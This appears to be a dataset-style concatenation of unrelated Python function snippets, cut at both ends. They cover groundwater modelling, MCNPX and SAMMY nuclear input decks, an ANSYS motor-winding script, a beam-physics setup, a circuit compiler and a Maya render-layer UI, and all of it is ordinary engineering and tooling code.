Hydraulic Conductivity\",\n locat=self.unit_number[0],\n )\n if not structured:\n self.ksat = Util3d(\n model,\n (njag,),\n np.float32,\n ksat,\n \"ksat\",\n locat=self.unit_number[0],\n )\n\n if add_package:\n self.parent.add_package(self)","def create_plate(num_wells, name):\n rows, cols = calc.rows_columns(int(num_wells))\n new_plate = plate.Plate(rows, cols, name)\n return new_plate","def make_input_top(self) :\n stencil_length = str(len(self.core.stencil[0,:]))\n self.input_top = \\\n \"LABANPEL -- poropy driver \\n\" +\\\n \" 2 \" + stencil_length + \" \" + stencil_length +\\\n \" \" + str(len(self.core.pattern)+1) + \" 0 0 2 1.0\\n\" +\\\n \" \"+str(self.order)+\" 0 0 0 0 0 0 0 0\\n\"+\\\n \" 1 0. 0. 0 100 10 \" + str(self.tolerance)+\" \" +\\\n str(self.tolerance)+\" \"+str(self.tolerance) + \" 1.0\\n\" \n # horizontal subdivisions \n for i in range(0, self.dimension) :\n self.input_top += \" \"+str(self.subdivisions[i])\n self.input_top += \" \\n\"\n # vertical subdivisions\n for i in range(0, self.dimension) :\n self.input_top += \" \"+str(self.subdivisions[i])\n self.input_top += \" \\n\" \n # horizontal mesh widths\n for i in range(0, self.dimension) :\n self.input_top += \" \"+str(self.widths[i])\n self.input_top += \" \\n\" \n # vertical mesh widths\n for i in range(0, self.dimension) :\n self.input_top += \" \"+str(self.widths[i])\n self.input_top += \" \\n\"","def createComplejoPlatino(c_dict):\n\tnom = c_dict['nombre'].split()\n\tnom.insert(1, 'Platino')\n\tnombre = ' '.join(nom)\n\tc_dict['nombre'] = nombre\n\tc_dict['id_org'] = int(c_dict['id_org']) + 10000\n\tcreateComplejo(c_dict)","def ec_contaier_create(self, oclass):\n # Get container params\n self.ec_container = TestContainer(\n self.pool, daos_command=DaosCommand(self.bin))\n self.ec_container.get_params(self)\n self.ec_container.oclass.update(oclass)\n # update object class for container create, if supplied\n # explicitly.\n ec_object = self.get_data_parity_number(oclass)\n self.ec_container.properties.update(\"rf:{}\".format(ec_object['parity']))\n\n # create container\n self.ec_container.create()","def add_connector(self):\n \n no = len(self.connectors)\n state = {}\n state[\"s_pin\"] = no\n state[\"p_pin\"] = no\n state[\"s_label\"] = \"C%d\" % no\n \n if len(self.connectors)>0:\n state = self.connectors[-1].get_state()\n state[\"s_pin\"] = no\n state[\"p_pin\"] = no\n state[\"s_label\"] = \"C%d\" % (no)\n else:\n if self.mount == self.MOUNT_THT:\n state[\"p_shape\"] = Con.SHAPE_HOLE\n elif self.mount == self.MOUNT_SMD:\n state[\"p_shape\"] = Con.SHAPE_PAD\n \n c = Con(no)\n c.set_state(state) \n \n self.sch_layers[\"pins\"].add(c.s_svg)\n self.pcb_layers[\"copper1\"].add(c.p_svg)\n self.connectors.append(c)","def compiler(input_ckt:pathlib.Path, design_name:str, pdk_dir:pathlib.Path, flat=0, Debug=False):\n logger.info(\"Starting topology identification...\")\n input_dir = input_ckt.parents[0]\n logger.debug(f\"Reading subckt {input_ckt}\")\n #\n # TODO: flatten should be separate pass\n #\n sp = SpiceParser(input_ckt, design_name, flat, pdk_dir)\n circuit_graphs = sp.sp_parser()\n assert circuit_graphs !=None , f\"No subcircuit with name {design_name} found in spice {input_ckt}\"\n circuit = circuit_graphs[0]\n\n design_setup = read_setup(input_dir / f'{design_name}.setup')\n logger.debug(f\"template parent path: {pathlib.Path(__file__).parent}\")\n lib_path = pathlib.Path(__file__).resolve().parent.parent / 'config' / 'basic_template.sp'\n logger.debug(f\"template library path: {lib_path}\")\n basic_lib = SpiceParser(lib_path)\n library = basic_lib.sp_parser()\n lib_path=pathlib.Path(__file__).resolve().parent.parent / 'config' / 'user_template.sp'\n user_lib = SpiceParser(lib_path)\n library += user_lib.sp_parser()\n library = [HierDictNode(**x, constraints=[], ports_weight={}) for x in library]\n library=sorted(library, key=lambda k: max_connectivity(k.graph), reverse=True)\n\n logger.debug(f\"dont use cells: {design_setup['DONT_USE_CELLS']}\")\n logger.debug(f\"all library elements: {[ele['name'] for ele in library]}\")\n if len(design_setup['DONT_USE_CELLS'])>0:\n library=[lib_ele for lib_ele in library if lib_ele['name'] not in design_setup['DONT_USE_CELLS']]\n #read lef to not write those modules as macros\n lef_path = pathlib.Path(__file__).resolve().parent.parent / 'config'\n all_lef = read_lef(lef_path)\n logger.debug(f\"Available library cells: {', '.join(all_lef)}\")\n\n if Debug==True:\n _write_circuit_graph(circuit[\"name\"], circuit[\"graph\"],\n \"./circuit_graphs/\")\n for lib_circuit in library:\n _write_circuit_graph(lib_circuit[\"name\"], lib_circuit[\"graph\"],\n \"./circuit_graphs/\")\n #Converting graph to dict\n const_parse = ConstraintParser(pdk_dir, input_dir)\n create_data = CreateDatabase(circuit[\"graph\"], const_parse)\n hier_graph_dict = create_data.read_inputs(circuit[\"name\"])\n logger.debug(\"START preprocessing\")\n stacked_subcircuit=[]\n\n #\n # TODO: Re-implement stacked transistor detection using new passes\n #\n for circuit_name, circuit in hier_graph_dict.items():\n logger.debug(f\"preprocessing circuit name: {circuit_name}\")\n G1 = circuit[\"graph\"]\n if circuit_name not in design_setup['DIGITAL']:\n define_SD(circuit,design_setup['POWER'],design_setup['GND'], design_setup['CLOCK'])\n stacked_subcircuit.append(preprocess_stack_parallel(hier_graph_dict,circuit_name,G1))\n for circuit_name in stacked_subcircuit:\n if circuit_name in hier_graph_dict.keys() and circuit_name is not design_name:\n logger.debug(f\"removing stacked subcircuit {circuit_name}\")\n del hier_graph_dict[circuit_name]\n #\n # TODO: pg_pins should be marked using constraints. Not manipulating netlist\n #\n logger.debug(\"Modifying pg pins in design for PnR\")\n pg_pins = design_setup['POWER']+design_setup['GND']\n remove_pg_pins(hier_graph_dict,design_name, pg_pins)\n\n logger.debug( \"\\n################### FINAL CIRCUIT AFTER preprocessing #################### \\n\")\n for circuit in hier_graph_dict.values():\n for node in circuit[\"graph\"].nodes(data=True):\n if node[1][\"inst_type\"]!='net':\n logger.debug(node)\n\n annotate = Annotate(hier_graph_dict, design_setup, library, all_lef)\n annotate.annotate()\n return hier_graph_dict","def createInputDeck(self,cylinderPositions,inp=None,name=None):\n self.inp = inp\n self.name = name\n if not inp:\n self.inp = 'INP_Cylinder.mcnp'\n if not name:\n self.name = 'OUT_Cylinder.'\n oFile = self.inp\n \n # Problem Constants\n cellString = 'c ------------------------- Source ----------------------------------------\\n'\n cellString += '70 5 -15.1 -70 $ 252Cf source \\n' \n cellString += '71 406 -11.34 -71 70 $ Lead around source\\n'\n cellString += '72 456 -0.93 -72 71 $ Poly around source\\n'\n\n surfString = 'c ########################### Surface Cards ##############################\\n'\n surfString += 'c ------------------- Encasing Bounds (Size of RPM8) ---------------------\\n'\n surfString += '500 rpp 0 12.7 -15.25 15.25 0 217.7 \\n'\n\n # Add in other cells here\n numCells = 4 # 3 Source, 1 RPM8 Encasing\n \n ##################################################################\n # Add in Detector Cells and Surfaces #\n ##################################################################\n universeNum = 1\n (s,c,detectorCells,cellsCreated) = self.createDetectorCylinder(universeNum)\n surfString += s\n cellString += 'c ------------------- Detector Cylinder Universe ------------------------\\n'\n cellString += c\n transNum = 1\n uCellNum = self.UniverseNum\n transString = ''\n cellString += 'c ----------------------- Detector Universe ----------------------------\\n'\n for pos in cylinderPositions:\n transString += self.tranForStr.format(transNum,pos[0],pos[1])\n cellString += '{:5d} 0 -{:d} trcl={:d} fill={:d}\\n'.format(uCellNum,self.SurfaceStartNum,transNum,universeNum)\n transNum +=1\n uCellNum +=1\n # Adding the PMMA Moderator Block\n m = self.material['Moderator']\n cellString += 'c ------------------------- HDPE Moderator -----------------------------\\n'\n cellString += '{:5d} {:d} -{:4.3f} -{:d} '.format(500,m['mt'],m['rho'],self.ZeroSurfaceNum)\n cellString += ''.join('#{:d} '.format(i) for i in range(self.UniverseNum,uCellNum))\n cellString += '\\n'\n # Getting total number of cells\n numCells += cellsCreated + uCellNum-self.UniverseNum +1\n \n ##################################################################\n # Write the Tallies #\n ##################################################################\n univCells = range(self.UniverseNum,uCellNum)\n tallyString = 'c ------------------------- Tallies Yo! -----------------------------------\\n'\n tallies = {'F54:n':{'cells':detectorCells,'comments':'FC54 6Li Reaction Rates\\n',\n 'options':' T\\nSD54 1 {0:d}R\\nFM54 -1 3 105'}}\n for t in tallies:\n # Getting a list of cells\n tallyString += tallies[t]['comments']\n tallyString += str(t)+' '\n j = 0\n for u in univCells:\n cell = list('('+str(c)+'<'+str(u)+') ' for c in tallies[t]['cells'])\n cell = [cell[i:i+6] for i in range(0,len(cell),6)]\n if j > 0:\n tallyString += ' '+''.join(''.join(i)+'\\n' for i in cell)\n else:\n tallyString += ' '.join(''.join(i)+'\\n' for i in cell)\n j +=1\n tallyString = tallyString.rstrip()\n tallyString += tallies[t]['options'].format(len(univCells)*len(tallies[t]['cells']))\n tallyString+='\\n'\n\n # Finish up the problem data\n cellString += 'c ---------------------- Detector Encasing ------------------------------\\n'\n cellString += '700 488 -7.92 701 -700 $ SS-316 Encasing \\n'\n cellString += 'c -------------------------- Outside World -------------------------------\\n'\n cellString += '1000 204 -0.001225 -1000 700 #70 #71 #72 $ Atmosphere \\n'\n cellString += '1001 0 1000 \\n'\n \n surfString += 'c ------------------------ Encasing Material -----------------------------\\n'\n surfString += '700 rpp -0.3175 13.018 -15.5675 15.5675 -0.3175 218.018 \\n'\n surfString += '701 rpp 0.0 12.7 -15.25 15.25 0.0 217.7 \\n'\n surfString += 'c -------------- Source --------------------------------------------------\\n'\n surfString += '70 s -200 0 108.85 2.510E-04 $ Source \\n'\n surfString += '71 s -200 0 108.85 5.0025E-01 $ 0.5 cm lead surrounding source \\n'\n surfString += '72 s -200 0 108.85 3.00025 $ 2.5 cm poly surrounding source \\n'\n surfString += 'c -------------- Outside World -------------------------------------------\\n'\n surfString += '1000 so 250 \\n'\n\n matString = 'c -------------------------- Material Cards -----------------------------\\n'\n matString += self.material['Detector']['matString']\n matString += self.getMaterialString()\n with open(oFile,'w') as o:\n o.write('MCNPX Simulation of RPM8 Cylinder\\n')\n o.write(cellString)\n o.write('\\n')\n o.write(surfString)\n o.write('\\n')\n o.write(self.getRunString().format(numCells))\n o.write(self.getSrcString())\n o.write(tallyString)\n o.write(matString)\n o.write(transString)\n o.write('\\n')","def WindingDesign(main):\n oEditor = main['ANSYS']['oEditor']\n\n # Slots number\n Slots = main['ANSYS']['FixedVariables']['Slots']\n\n # SlotType\n SlotType = main['ANSYS']['FixedVariables']['SlotType']\n\n # Geimetric parameters\n g = main['ANSYS']['DesignProperties']['Stator']['g']\n\n Hs0 = main['ANSYS']['DesignProperties']['Slot']['Hs0']\n Hs1 = main['ANSYS']['DesignProperties']['Slot']['Hs1']\n Hs2 = main['ANSYS']['DesignProperties']['Slot']['Hs2']\n Bs1 = main['ANSYS']['DesignProperties']['Slot']['Bs1']\n Bs2 = main['ANSYS']['DesignProperties']['Slot']['Bs2']\n\n DiaGap = main['ANSYS']['DesignProperties']['Rotor']['DiaGap']\n\n # Coils Arrange ABC\n PhasesABC = main['ANSYS']['Winding']['ABC']\n\n # Color used for phases\n Color = main['ANSYS']['Winding']['Color']\n\n oEditor.CreateUserDefinedPart(\n [\n \"NAME:UserDefinedPrimitiveParameters\",\n \"DllName:=\"\t\t, \"RMxprt/LapCoil.dll\",\n \"Version:=\"\t\t, \"16.0\",\n \"NoOfParameters:=\"\t, 22,\n \"Library:=\"\t\t, \"syslib\",\n [\n \"NAME:ParamVector\",\n [\n \"NAME:Pair\",\n \"Name:=\"\t\t, \"DiaGap\",\n \"Value:=\"\t\t, \"DiaGap+g*2\"\n ],\n [\n \"NAME:Pair\",\n \"Name:=\"\t\t, \"DiaYoke\",\n \"Value:=\"\t\t, \"DiaYoke\"\n ],\n [\n \"NAME:Pair\",\n \"Name:=\"\t\t, \"Length\",\n \"Value:=\"\t\t, \"0mm\"\n ],\n [\n \"NAME:Pair\",\n \"Name:=\"\t\t, \"Skew\",\n \"Value:=\"\t\t, \"0deg\"\n ],\n [\n \"NAME:Pair\",\n \"Name:=\"\t\t, \"Slots\",\n \"Value:=\"\t\t, str(int(Slots))\n ],\n [\n \"NAME:Pair\",\n \"Name:=\"\t\t, \"SlotType\",\n \"Value:=\"\t\t, str(int(SlotType))\n ],\n [\n \"NAME:Pair\",\n \"Name:=\"\t\t, \"Hs0\",\n \"Value:=\"\t\t, \"Hs0\"\n ],\n [\n \"NAME:Pair\",\n \"Name:=\"\t\t, \"Hs1\",\n \"Value:=\"\t\t, \"Hs1\"\n ],\n [\n \"NAME:Pair\",\n \"Name:=\"\t\t, \"Hs2\",\n \"Value:=\"\t\t, \"Hs2\"\n ],\n [\n \"NAME:Pair\",\n \"Name:=\"\t\t, \"Bs0\",\n \"Value:=\"\t\t, \"Bs0\"\n ],\n [\n \"NAME:Pair\",\n \"Name:=\"\t\t, \"Bs1\",\n \"Value:=\"\t\t, \"Bs1\"\n ],\n [\n \"NAME:Pair\",\n \"Name:=\"\t\t, \"Bs2\",\n \"Value:=\"\t\t, \"Bs2\"\n ],\n [\n \"NAME:Pair\",\n \"Name:=\"\t\t, \"Rs\",\n \"Value:=\"\t\t, \"Rs\"\n ],\n [\n \"NAME:Pair\",\n \"Name:=\"\t\t, \"FilletType\",\n \"Value:=\"\t\t, \"0\"\n ],\n [\n \"NAME:Pair\",\n \"Name:=\"\t\t, \"Layers\",\n \"Value:=\"\t\t, \"2\"\n ],\n [\n \"NAME:Pair\",\n \"Name:=\"\t\t, \"CoilPitch\",\n \"Value:=\"\t\t, \"1\"\n ],\n [\n \"NAME:Pair\",\n \"Name:=\"\t\t, \"EndExt\",\n \"Value:=\"\t\t, \"5mm\"\n ],\n [\n \"NAME:Pair\",\n \"Name:=\"\t\t, \"SpanExt\",\n \"Value:=\"\t\t, \"25mm\"\n ],\n [\n \"NAME:Pair\",\n \"Name:=\"\t\t, \"BendAngle\",\n \"Value:=\"\t\t, \"0deg\"\n ],\n [\n \"NAME:Pair\",\n \"Name:=\"\t\t, \"SegAngle\",\n \"Value:=\"\t\t, \"10deg\"\n ],\n [\n \"NAME:Pair\",\n \"Name:=\"\t\t, \"LenRegion\",\n \"Value:=\"\t\t, \"200mm\"\n ],\n [\n \"NAME:Pair\",\n \"Name:=\"\t\t, \"InfoCoil\",\n \"Value:=\"\t\t, \"0\"\n ]\n ]\n ],\n [\n \"NAME:Attributes\",\n \"Name:=\"\t\t, \"LapCoil1\",\n \"Flags:=\"\t\t, \"\",\n \"Color:=\"\t\t, \"(143 175 143)\",\n \"Transparency:=\"\t, 0,\n \"PartCoordinateSystem:=\", \"Global\",\n \"UDMId:=\"\t\t, \"\",\n \"MaterialValue:=\"\t, \"\\\"copper\\\"\",\n \"SurfaceMaterialValue:=\", \"\\\"\\\"\",\n \"SolveInside:=\"\t\t, True,\n \"ShellElement:=\"\t, False,\n \"ShellElementThickness:=\", \"0mm\",\n \"IsMaterialEditable:=\"\t, True,\n \"UseMaterialAppearance:=\", False,\n \"IsLightweight:=\"\t, False\n ]\n )\n\n # Body Separation\n oEditor.SeparateBody(\n [\n \"NAME:Selections\",\n \"Selections:=\"\t\t, \"LapCoil1\",\n \"NewPartsModelFlag:=\"\t, \"Model\"\n ],\n [\n \"CreateGroupsForNewObjects:=\", False\n ]\n )\n\n # Average Slot Width\n AverWidth = (Bs2 + Bs1)/2\n\n # Average Radius\n AverRadius = DiaGap/2 + g + Hs0 + Hs1 + Hs2*0.75\n\n # Angle to shift and find the kth tooth\n ShiftSlot = 1/Slots*np.pi\n\n # Angle to fond the corrent layer\n ShiftLayer = np.arctan(AverWidth/4/AverRadius)\n\n # List to save the coils sides names\n WindingNames = [[], [], []]\n\n # Phases name to employed\n PhaseNames = ['A', 'B', 'C']\n\n for phase, row in enumerate(PhasesABC):\n\n PhaseName = [[], []]\n\n for coil, slot in enumerate(row):\n\n SlotAngle = np.abs(slot)/Slots*2*np.pi - ShiftSlot\n\n if coil % 2 == 1:\n SlotAngle = SlotAngle - ShiftLayer\n\n else:\n SlotAngle = SlotAngle + ShiftLayer\n\n x = np.cos(SlotAngle)*AverRadius\n y = np.sin(SlotAngle)*AverRadius\n\n Name0 = oEditor.GetBodyNamesByPosition(\n [\n \"NAME:Parameters\",\n \"XPosition:=\", str(x)+\"mm\",\n \"YPosition:=\", str(y)+\"mm\",\n \"ZPosition:=\", \"0mm\"\n ]\n )\n\n C = Color[phase]\n\n if np.sign(slot) == 1:\n\n CoilSideName = PhaseNames[phase]+\"In\"+str(np.abs(coil))\n\n PhaseName[0] += [CoilSideName]\n\n oEditor.ChangeProperty(\n [\n \"NAME:AllTabs\",\n [\n \"NAME:Geometry3DAttributeTab\",\n [\n \"NAME:PropServers\",\n Name0[0]\n ],\n [\n \"NAME:ChangedProps\",\n [\n \"NAME:Name\",\n \"Value:=\"\t\t,\n CoilSideName\n ],\n [\n \"NAME:Color\",\n \"R:=\"\t\t\t, C[0],\n \"G:=\"\t\t\t, C[1],\n \"B:=\"\t\t\t, C[2]\n ],\n\n ]\n ]\n ]\n )\n else:\n\n CoilSideName = PhaseNames[phase]+\"Out\"+str(np.abs(coil))\n\n PhaseName[1] += [CoilSideName]\n\n oEditor.ChangeProperty(\n [\n \"NAME:AllTabs\",\n [\n \"NAME:Geometry3DAttributeTab\",\n [\n \"NAME:PropServers\",\n Name0[0]\n ],\n [\n \"NAME:ChangedProps\",\n [\n \"NAME:Name\",\n \"Value:=\"\t\t,\n CoilSideName\n ],\n [\n \"NAME:Color\",\n \"R:=\"\t\t\t, C[0],\n \"G:=\"\t\t\t, C[1],\n \"B:=\"\t\t\t, C[2],\n ],\n\n ]\n ]\n ]\n )\n\n WindingNames[phase] += PhaseName\n\n main['ANSYS']['Winding']['CoilNames'] = WindingNames\n\n return main","def construct_inp(self, path, nuclide, keylines, title = None, \n xs_measurement = None):\n # Add data format to keylines - should always be there #\n if not self.data_format in keylines:\n keylines = [self.data_format] + keylines \n #\n # Get thickness and reaction type from xs_measurement if possible, #\n # otherwise use defaults #\n try: thickness = xs_measurement.experiment.thickness \n except: thickness = self.default_thickness\n try: xs_type = xs_measurement.sammy_type\n except: xs_type = self.default_xs_type\n #\n # Set title #\n if title == None:\n title = 'SAMMY inp file for %s-%s' % (nuclide.element, nuclide.mass)\n #\n with open(path,'w') as f:\n # Write to the .inp file #\n f.write(title[:80] + '\\n')\n write_to_position(f, ['%s%i' % (nuclide.element, nuclide.mass), \n nuclide.weight], [0, 10])\n for keyline in keylines + ['']:\n f.write(keyline + '\\n')\n write_to_position(f, self.temperature, 0)\n write_to_position(f, [nuclide.channel_radius, thickness],[0, 10])\n write_to_position(f, xs_type, 0)\n #","def Initialize():\n # --- Set four-character run id, comment lines, user's name.\n top.pline2 = \"Example 3D beam in a FODO lattice\"\n top.pline1 = \"S-G cigar beam. 64x64x256\"\n top.runmaker = \"David P. Grote\"\n\n # --- Invoke setup routine - it is needed to created a cgm file for plots\n setup()\n\n # --- Create the beam species\n beam = Species(type=Potassium,charge_state=+1,name=\"Beam species\")\n\n # --- Set input parameters describing the beam, 72 to 17.\n beam.b0 = 15.358933450767e-3\n beam.a0 = 8.6379155933081e-3\n beam.x0 = 3.*mm\n beam.emit = 51.700897052724e-6\n beam.ap0 = 0.e0\n beam.bp0 = 0.e0\n beam.ibeam = 2.e-03\n beam.vbeam = 0.e0\n beam.ekin = 80.e3\n beam.aion = beam.type.A\n beam.zion = beam.charge_state\n top.lrelativ = false\n top.derivqty()\n beam.vthz = .5e0*beam.vbeam*beam.emit/sqrt(beam.a0*beam.b0) # Vthz ~ Vthperp\n\n # +++ Set up arrays describing lattice.\n # --- Set temp variables.\n hlp = 36.0e-2 # half lattice period length\n piperad = 3.445e-2 # pipe radius\n quadlen = 11.e-2 # quadrupole length\n gaplen = 4.*cm\n rodlen = quadlen + gaplen\n dbdx = .949/quadlen\n\n # --- Set general lattice variables.\n top.tunelen = 2.e0*hlp\n env.zl = -hlp*2\n env.zu = -env.zl\n env.dzenv = top.tunelen/100.e0\n\n # --- Set up quadrupoles\n addnewquad(zs= -quadlen/2.,\n ze= +quadlen/2.,\n db=-dbdx,ap=piperad)\n addnewquad(zs=hlp - quadlen/2.,\n ze=hlp + quadlen/2.,\n db=+dbdx,ap=piperad)\n addnewquad(zs=2.*hlp - quadlen/2.,\n ze=2.*hlp + quadlen/2.,\n db=-dbdx,ap=piperad)\n top.zlatstrt = 0.\n top.zlatperi = 2.e0*hlp\n\n # +++ Set input parameters describing the 3d simulation.\n w3d.nx = 64/2\n w3d.ny = 64/2\n w3d.nz = 256/2\n steps_p_perd = 50\n top.dt = (top.tunelen/steps_p_perd)/beam.vbeam\n\n # --- Set to finite beam.\n top.pbound0 = top.pboundnz = periodic\n top.pboundxy = absorb\n w3d.xmmin = -piperad\n w3d.xmmax = piperad\n w3d.ymmin = -piperad\n w3d.ymmax = piperad\n w3d.zmmin = -hlp*2\n w3d.zmmax = +hlp*2\n top.prwall = piperad\n\n # --- Set pulse length.\n beam.zimin = w3d.zmmin*.95/2.\n beam.zimax = w3d.zmmax*.95/2.\n\n # --- Load Semi-Gaussian cigar beam.\n top.npmax = 20000\n w3d.distrbtn = \"semigaus\"\n w3d.cigarld = true\n w3d.xrandom = \"digitrev\"\n w3d.vtrandom = \"digitrev\"\n w3d.vzrandom = \"digitrev\"\n w3d.ldprfile = \"polar\"\n w3d.cylinder = false\n top.straight = .8\n\n # --- set up field solver\n w3d.l4symtry = true\n w3d.bound0 = periodic\n w3d.boundnz = periodic\n w3d.boundxy = dirichlet\n\n solver = MultiGrid3D()\n registersolver(solver)\n\n pipe = ZCylinderOut(piperad,4.,voltage=0.)\n installconductors(pipe,dfill=largepos)\n\n # --- Run the envelope solver to provide data used to initialize particles.\n package(\"env\")\n generate()\n step()\n\n # --- Generate the PIC code (allocate storage, load ptcls, t=0 plots, etc.).\n package(\"w3d\")\n generate()\n return","def create(args):\n print('Creates an HPC fleet with given name \"{}\"'.format(args.fleet_name))","def New(*args, **kargs):\n obj = itkMeshSourcePSUC3.__New_orig__()\n import itkTemplate\n itkTemplate.New(obj, *args, **kargs)\n return obj","def create(data):\n \n # create part\n part = Part.create(data['part'])\n \n # create color\n color = Color.create(data['color'])\n \n # create element\n element = Element(\n part = part,\n color = color,\n element_id = data.get('element_id', None),\n design_id = data.get('design_id', None),\n img_url = data.get('element_img_url', None),\n count = data.get('quantity', None),\n is_spare = data.get('is_spare', None))\n \n return element","def create_layout( self ):","def createUI(self):\n\n q.getQItem(windowID, QtWidgets.QWidget)\n cmds.setParent(q.fullPath)\n\n # ################################################\n # Active Render Layer\n\n # cmds.separator(height=12, style='none')\n addFrameLayout(\n '%s_frameLayoutLayers' % windowID,\n 'Visible Render Layer', collapsable=False,\n labelVisible=False,\n marginHeight=0\n )\n\n addRowLayout(\n '%s_rowLayoutActiveRenderLayer' % windowID,\n 4,\n columnAlign4=('left', 'left', 'right', 'right'),\n columnAttach4=('left', 'both', 'right', 'right'),\n columnWidth4=(\n (WINDOW_WIDTH - FRAME_MARGIN * 2) * 0.075,\n (WINDOW_WIDTH - FRAME_MARGIN * 2) * 0.775,\n (WINDOW_WIDTH - FRAME_MARGIN * 2) * 0.075,\n (WINDOW_WIDTH - FRAME_MARGIN * 2) * 0.075\n )\n )\n\n\n addButton('%s_addNewLayer' % windowID, 'New', rsAddNewLayer,\n image='RS_create_layer', size=(21, 21))\n addOptionMenu('%s_selectActiveLayer' % windowID,\n 'Active Layer ', (), rsSelectActiveLayer)\n addButton('rsOpenRenderSetupWindow', 'Render Setup',\n rsOpenRenderSetupWindow, image='render_setup.png',\n size=(21, 21))\n addButton('rsOpenUnifiedRenderGlobals', 'Render Globals',\n rsOpenUnifiedRenderGlobals, image='render_setup.png',\n size=(21, 21))\n\n # ################################################\n # Work Render Layers\n\n cmds.setParent(q.fullPath)\n addFrameLayout('%s_frameLayoutLayersB' % windowID,\n 'Work Render Layer', collapsable=False,\n labelVisible=False, marginHeight=0)\n addRowLayout('%s_rowLayoutVisibleRenderLayer' % windowID, 3,\n columnAlign3=('left', 'left', 'right'),\n columnAttach3=('left', 'both', 'right'),\n columnWidth3=((WINDOW_WIDTH - FRAME_MARGIN * 2)\n * 0.075, (WINDOW_WIDTH - FRAME_MARGIN * 2) * 0.85,\n (WINDOW_WIDTH - FRAME_MARGIN * 2) * 0.075))\n\n cmds.separator()\n addOptionMenu('%s_selectVisibleLayer' % windowID,\n 'Visible Layer ', (), rsSelectVisibleLayer)\n cmds.separator()\n\n cmds.setParent(q.fullPath)\n cmds.separator(height=12, style='none')\n\n # ################################################\n # Collections\n\n addFrameLayout('%s_frameLayout02' % windowID, 'Collections',\n labelVisible=False, marginHeight=0)\n\n addRowLayout(\n '%s_rowLayout02' % windowID,\n 6,\n columnAlign6=('left', 'left', 'left', 'left', 'left', 'left'),\n columnAttach6=('both', 'both', 'right', 'right', 'right', 'right'),\n columnWidth6=(\n (WINDOW_WIDTH - FRAME_MARGIN * 2) * 0.18,\n (WINDOW_WIDTH - FRAME_MARGIN * 2) * 0.18,\n (WINDOW_WIDTH - FRAME_MARGIN * 2) * 0.415,\n (WINDOW_WIDTH - FRAME_MARGIN * 2) * 0.075,\n (WINDOW_WIDTH - FRAME_MARGIN * 2) * 0.075,\n (WINDOW_WIDTH - FRAME_MARGIN * 2) * 0.075,\n )\n )\n\n addButton('rsAddCollection', 'Add', rsAddCollection)\n addButton('rsRemoveCollection', 'Remove', rsRemoveCollection)\n addButton('rsSelectShapes', 'Select Shapes', rsSelectShapes,\n image='selectObject.png', size=(21, 21))\n addButton('rsRenameShader', 'Rename Shader', rsRenameShader,\n size=(21, 21), image='QR_rename.png')\n addButton('rsDuplicateShader', 'Duplicate Shader',\n duplicateShader, size=(21, 21), image='newPreset.png')\n addButton('rsRefreshUI', 'Refresh', rsRefreshUI, size=(21, 21),\n image='QR_refresh.png')\n\n # ###########################\n # Filter List\n\n cmds.setParent('%s_frameLayout02' % windowID)\n addRowLayout('%s_rowLayout03' % windowID, 2,\n columnAlign2=('left', 'left'),\n columnAttach2=('both', 'both'),\n columnWidth2=((WINDOW_WIDTH - FRAME_MARGIN * 2)\n * 0.6, (WINDOW_WIDTH - FRAME_MARGIN * 2) * 0.42))\n\n addTextField('%s_filterShaderList' % windowID, 'Search',\n rsFilterShaderList_off, rsFilterShaderList_off,\n window.updateUI)\n addOptionMenu('rsShaderGroups', '|', (), rsShaderGroups)\n\n # ###########################\n # The shaders scroll list\n\n cmds.setParent('%s_frameLayout02' % windowID)\n addRowLayout('%s_rowLayout04' % windowID, 1, columnAlign1='both', columnAttach1='both', columnWidth1=WINDOW_WIDTH\n + 12)\n addTextScrollList('%s_ShaderScrollList' % windowID, (),\n rsShaderScrollList_doubleClick,\n rsShaderScrollList_onSelect,\n rsShaderScrollList_deleteKey)\n\n # Add popup menu:\n\n cmds.popupMenu('rsShaderScrollListPopupMenu',\n parent='%s_ShaderScrollList' % windowID,\n allowOptionBoxes=False, markingMenu=True,\n postMenuCommand=postMenuCommand)\n cmds.menuItem('%s_popupMenuItem02' % windowID,\n label='Duplicate Shader', command=duplicateShader)\n cmds.menuItem(divider=True)\n cmds.menuItem('%s_popupMenuItem04' % windowID,\n label='Graph Shader')\n cmds.menuItem(divider=True)\n cmds.menuItem('%s_popupMenuItem03' % windowID,\n label='Select Shader')\n cmds.menuItem(divider=True)\n cmds.menuItem('%s_popupMenuItem05' % windowID,\n label='Select Assigned Shapes')\n cmds.menuItem('%s_popupMenuItem06' % windowID,\n label='Select Assigned Transforms')\n\n # ##################################################\n # Arnold Property Overrides\n\n cmds.setParent('%s_frameLayout02' % windowID)\n cmds.columnLayout(\n '%s_columnLayout20' % windowID,\n width=WINDOW_WIDTH - FRAME_MARGIN * 2,\n columnAlign='left',\n columnAttach=('left', 0),\n adjustableColumn=False,\n rowSpacing=0,\n )\n\n cmds.separator(parent='%s_columnLayout20' % windowID, height=4,\n style='none')\n\n addRowLayout('%s_rowLayout05' % windowID, 2,\n columnAlign2=('left', 'both'),\n columnAttach2=('left', 'right'),\n columnWidth2=((WINDOW_WIDTH - FRAME_MARGIN * 2)\n * 0.75, (WINDOW_WIDTH - FRAME_MARGIN * 2) * 0.25))\n addText('%s_textArnoldPropertyOverridesLabel' % windowID,\n 'Apply Arnold Property Overrides', 'plainLabelFont')\n addCheckBox('rsArnoldPropertyOverridesCheckBox', '',\n rsArnoldPropertyOverridesCheckBox,\n rsArnoldPropertyOverridesCheckBox)\n cmds.separator(parent='%s_columnLayout20' % windowID, height=4,\n style='none')\n\n # Column Layout to toggle\n\n cmds.setParent('%s_columnLayout20' % windowID)\n cmds.columnLayout(\n '%s_columnLayout02' % windowID,\n width=WINDOW_WIDTH - FRAME_MARGIN * 2,\n columnAlign='left',\n columnAttach=('left', 0),\n adjustableColumn=False,\n rowSpacing=0,\n )\n\n addCheckboxes('%s_columnLayout02' % windowID)\n cmds.columnLayout('%s_columnLayout02' % windowID, edit=True,\n visible=False)\n\n # #################################################\n # Shader Override\n\n cmds.setParent('%s_frameLayout02' % windowID)\n cmds.columnLayout(\n '%s_columnLayout21' % windowID,\n width=WINDOW_WIDTH - FRAME_MARGIN * 2,\n columnAlign='left',\n columnAttach=('left', 0),\n adjustableColumn=False,\n rowSpacing=0,\n )\n cmds.separator(parent='%s_columnLayout21' % windowID, height=4,\n style='none')\n addRowLayout('%s_rowLayout06' % windowID, 2,\n columnAlign2=('left', 'right'),\n columnAttach2=('left', 'right'),\n columnWidth2=((WINDOW_WIDTH - FRAME_MARGIN * 2)\n * 0.75, (WINDOW_WIDTH - FRAME_MARGIN * 2) * 0.25))\n addText('%s_shaderOverrideLabel' % windowID, 'Shader Override',\n 'plainLabelFont')\n 